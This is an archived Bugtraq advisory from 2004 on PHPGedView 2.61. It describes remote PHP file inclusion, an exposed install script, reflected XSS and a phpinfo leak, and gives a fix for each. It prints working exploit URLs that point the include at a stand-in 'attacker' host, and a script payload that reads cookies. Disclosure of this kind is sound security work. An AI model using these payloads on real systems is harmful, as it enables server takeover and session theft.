Vuln in PHPGEDVIEW 2.61 Multi-Problem

• Previous message: Paul Starzetz: "Linux mremap bug correction"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Date: 6 Jan 2004 06:19:55 -0000
To: bugtraq@securityfocus.com

Tittle : Vuln in PHPGEDVIEW 2.61
Lang : PHP
Author : Windak
Website: www.security.com.vn
Version : PHPGEDVIEW 2.61 Multi-Problem

Introduction :

PHPGEDVIEW is program read projects GEDCOM file ( default html ) .

Bug :

1) Php code injection :

Rick : Hight
- Vuln in any files : functions.php, authentication_index.php ,config_gedcom.php

In authentication_index.php file : at line 33 :

require $PGV_BASE_DIRECTORY."authenticate.php";

In functions.php file : at line 35 :

require($PGV_BASE_DIRECTORY."functions_print.php");

In config_gedcom.php file : at line 115 :

if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php")) require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");
else {
$THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";
require($THEME_DIR."theme.php");

Exploit :

http://target/phpgedview_folder/authentication_index.php?PGV_BASE_DIRECTORY=http://attacker/
http://target/phpgedview_folder/functions.php?PGV_BASE_DIRECTORY=http://attacker/
http://target/phpgedview_folder/config_gedcom.php?PGV_BASE_DIRECTORY=http://attacker/

Script named authenticate.php put in http://attacker/ ( or functions_print.php , theme.php put in folder /themes/standard /

FIX : add firt line files have been vuln : Require (config.php);

2) Config again :
rick: Medium
If you not deleted editconfig.php file after install then attacker can reinstall and change password administrator .
Link : http://target/phpgedview_folder/editconfig.php
fix : Delete editconfig.php file

3) XSS :
Rick : medium

Exploit :
http://localhost/phpgedview/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>

fix :

Find :
<input type="text" name="firstname" value="<?php if ($action=="soundex") print $firstname; size="20" ?>" /></td></tr>
<tr><td><?php print $pgv_lang["lastname_search"]?></td><td>
<input type="text" name="lastname" value="<?php if ($action=="soundex") print $lastname; size="20" ?>" /></td></tr>
<tr><td><?php print $pgv_lang["search_place"]?></td><td>
<input type="text" name="place" value="<?php if ($action=="soundex") print $place; size="20" ?>" /></td></tr>
<tr><td><?php print $pgv_lang["search_year"]?></td><td>
<input type="text" name="year" value="<?php if ($action=="soundex") print $year; size="20" ?>" /></td></tr>

replace with :

<input type="text" name="firstname" value="" /></td></tr>
<tr><td><?php print $pgv_lang["lastname_search"]?></td><td>
<input type="text" name="lastname" value="" /></td></tr>
<tr><td><?php print $pgv_lang["search_place"]?></td><td>
<input type="text" name="place" value="" /></td></tr>
<tr><td><?php print $pgv_lang["search_year"]?></td><td>
<input type="text" name="year" value="" /></td></tr>

4) Show info server :
rick : low
I can show info server
Link: http://target/phpgedview_folder/admin.php?action=phpinfo

fix :
Find :

if (!isset($action)) $action="";
if ($action=="phpinfo") {
phpinfo();
exit;
}

if (!userIsAdmin(getUserName())) {
header("Location: login.php?url=admin.php");
exit;
}

replace with :

if (!userIsAdmin(getUserName())) {
header("Location: login.php?url=admin.php");
exit;
}
if (!isset($action)) $action="";
if ($action=="phpinfo") {
phpinfo();
exit;
}

=======================================================================
Windak - Vietnamese Security Group

www.security.com.vn

• Previous message: Paul Starzetz: "Linux mremap bug correction"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]